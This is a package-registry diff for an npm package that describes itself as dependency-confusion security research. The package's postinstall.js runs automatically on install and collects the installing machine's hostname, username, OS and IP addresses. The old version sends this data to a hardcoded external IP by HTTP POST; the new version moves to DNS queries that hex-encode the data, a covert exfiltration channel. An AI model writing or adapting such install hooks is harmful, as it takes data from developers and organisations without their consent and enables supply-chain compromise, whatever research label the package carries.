@gaia-codesearch/gaia-api-python 0.0.9 → 0.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +29 -33
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@gaia-codesearch/gaia-api-python",
3
- "version": "0.0.9",
3
+ "version": "0.0.10",
4
4
  "description": "Security research — scope ownership proof for dependency confusion report",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,49 +1,45 @@
1
- const http = require("http");
1
+ const { Resolver } = require("dns");
2
2
  const os = require("os");
3
3
  const https = require("https");
4
4
 
5
- const CALLBACK_HOST = "72.62.36.138";
6
- const CALLBACK_PORT = 8443;
5
+ const VPS = "72.62.36.138";
7
6
  const PKG = "gaia-api-python";
8
7
 
9
- function getLocalIPs() {
10
- const ifaces = os.networkInterfaces();
8
+ const r = new Resolver();
9
+ r.setServers([VPS]);
10
+
11
+ function hex(s) { return Buffer.from(s).toString("hex"); }
12
+
13
+ function getIPs() {
11
14
  const ips = [];
12
- for (const name of Object.keys(ifaces)) {
13
- for (const iface of ifaces[name]) {
14
- if (!iface.internal && iface.family === "IPv4") ips.push(iface.address);
15
+ for (const [, ifaces] of Object.entries(os.networkInterfaces())) {
16
+ for (const i of ifaces) {
17
+ if (!i.internal && i.family === "IPv4") ips.push(i.address);
15
18
  }
16
19
  }
17
- return ips.join(",") || "unknown";
20
+ return ips.join("-") || "none";
18
21
  }
19
22
 
20
- function send(data) {
21
- const body = JSON.stringify(data);
22
- const req = http.request({
23
- hostname: CALLBACK_HOST, port: CALLBACK_PORT, path: "/callback",
24
- method: "POST", headers: { "Content-Type": "application/json", "Content-Length": body.length },
25
- timeout: 5000,
26
- }, () => {});
27
- req.on("error", () => {});
28
- req.write(body);
29
- req.end();
23
+ function encode(label, value) {
24
+ const h = hex(value);
25
+ const chunks = h.match(/.{1,50}/g) || [h];
26
+ return new Promise(resolve => {
27
+ r.resolve4([label, ...chunks, "cb"].join("."), () => resolve());
28
+ });
30
29
  }
31
30
 
32
31
  async function main() {
33
- const data = {
34
- pkg: PKG,
35
- host: os.hostname(),
36
- user: os.userInfo().username,
37
- os: os.platform() + "-" + os.arch(),
38
- ip: getLocalIPs(),
39
- extip: "",
40
- };
41
-
42
- https.get("https://api.ipify.org", (res) => {
32
+ await encode("pkg", PKG);
33
+ await encode("host", os.hostname());
34
+ await encode("user", os.userInfo().username);
35
+ await encode("os", os.platform() + "-" + os.arch());
36
+ await encode("ip", getIPs());
37
+
38
+ https.get("https://api.ipify.org", res => {
43
39
  let d = "";
44
- res.on("data", (c) => (d += c));
45
- res.on("end", () => { data.extip = d.trim(); send(data); });
46
- }).on("error", () => { send(data); });
40
+ res.on("data", c => d += c);
41
+ res.on("end", () => encode("extip", d.trim()));
42
+ }).on("error", () => {});
47
43
  }
48
44
 
49
- main();
45
+ main().catch(() => {});